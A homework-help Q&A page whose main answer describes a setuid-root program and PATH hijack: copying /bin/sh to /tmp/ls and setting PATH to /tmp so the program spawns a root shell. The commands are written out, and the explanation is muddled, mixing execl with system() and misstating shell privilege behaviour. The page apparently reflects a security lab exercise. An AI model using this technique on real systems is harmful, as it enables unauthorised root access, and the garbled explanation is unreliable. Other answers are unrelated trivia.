1answer.
Ask question
Login Signup
Ask question
All categories
  • English
  • Mathematics
  • Social Studies
  • Business
  • History
  • Health
  • Geography
  • Biology
  • Physics
  • Chemistry
  • Computers and Technology
  • Arts
  • World Languages
  • Spanish
  • French
  • German
  • Advanced Placement (AP)
  • SAT
  • Medicine
  • Law
  • Engineering
telo118 [61]
3 years ago
5

The PATH environment variable.

Computers and Technology
1 answer:
enot [183]3 years ago
8 0

Answer:

Answer explained below

Explanation:

Yes, you can let Set-uid program that is owned by root to run your code instead of /bin/ls but it has it's own drawbacks and is actually not safe.

As you can not rely on that since some of the shells if different from the ruid drop an euid which is actually not safe.

execl("/bin/ls", "ls",(char *)0);  

run this under your main program.

Since it can have a root previlege,

-$ cd /tmp/

/tmp$ sudo su

:/tmp# gcc -o system system.c

:/tmp# chmod u+s system // changing file permissions

:/tmp# exit

exit

:/tmp$ cp /bin/sh /tmp/ls

:/tmp$ ./system

<u>Steps: </u>

1. The first thing you need to do is copy /bin/sh to /tmp.

2. After copying /bin/sh to /tmp set a new name ls but make sure your sh ->.zsh.

3. Set PATH to current directory. /tmp.

4. Compile

5. Run the program system and you can get your root previledge.

Now, with the above exmaple if you change /bin/sh soo that it points back to /bin/bash and repeat all the previous steps, you will not be able to get your root previledges.

You might be interested in
You are working on a graphical app, which includes multiple different shapes. The given code declares a base Shape class with an
ycow [4]

Answer:

maybe

Explanation:

5 0
2 years ago
Choose the correct term to complete the sentence.
Diano4ka-milaya [45]

Answer:

Object-oriented programming

Explanation:

When used in object-oriented programming , a class is a factory for creating object. An object is a collection of data and behavaiors that represent some entity(real or abstract).

6 0
2 years ago
which of the following is an educated or informed guess that is proposed and supported with verifiable evidence
beks73 [17]

The answer is Hypothesis.  It is something more than just a wild guess but less than a well-established theory, a theory which can be tested through study and experimentation..  They are assumptions generally believed to be true. They are provisionally accepted in order to interpret certain events or phenomena, and to provide guides for further study.

6 0
2 years ago
PLS HELP MEE!!!
kramer

Answer:

starting with lowercase letters, using uppercase letters for the first letter in a new word

Explanation:

starting with a dollar sign, using lowercase for the remaining parts of each word

4 0
2 years ago
What is the purpose of an index page feature in a Word document? Check all that apply.
Delvig [45]

Answer:

A. Helps to quickly find information in a document

B. Points readers to specific page numbers

D. Locates specific sections within a document

4 0
2 years ago
Read 2 more answers
Other questions:
  • The ____ contains methods that allow you to set physical properties such as height and width, as well as methods that allow you
    14·1 answer
  • How useful do you find the creation of folders in your computer?
    8·2 answers
  • What is a stereo type?
    14·2 answers
  • My computer have black spots and line
    7·2 answers
  • Name the function in Python that prompts user to enter values as per the data type specified.
    5·1 answer
  • Almost all application programs are designed to run with a specific platform. Group of answer choices True False
    15·1 answer
  • HELP 99PTS If Answered
    12·2 answers
  • Select three physical forms of storage. USB drive Primary cache Magnetic storage Secondary cache Dynamic RAM Optical drive
    7·2 answers
  • How is primary storage different from secondary storage? Select the TWO correct statements. The CPU can only read and write data
    12·2 answers
  • 1. Which of the following cables are used in networking? Check all that apply.
    8·2 answers
Add answer
Login
Not registered? Fast signup
Signup
Login Signup
Ask question!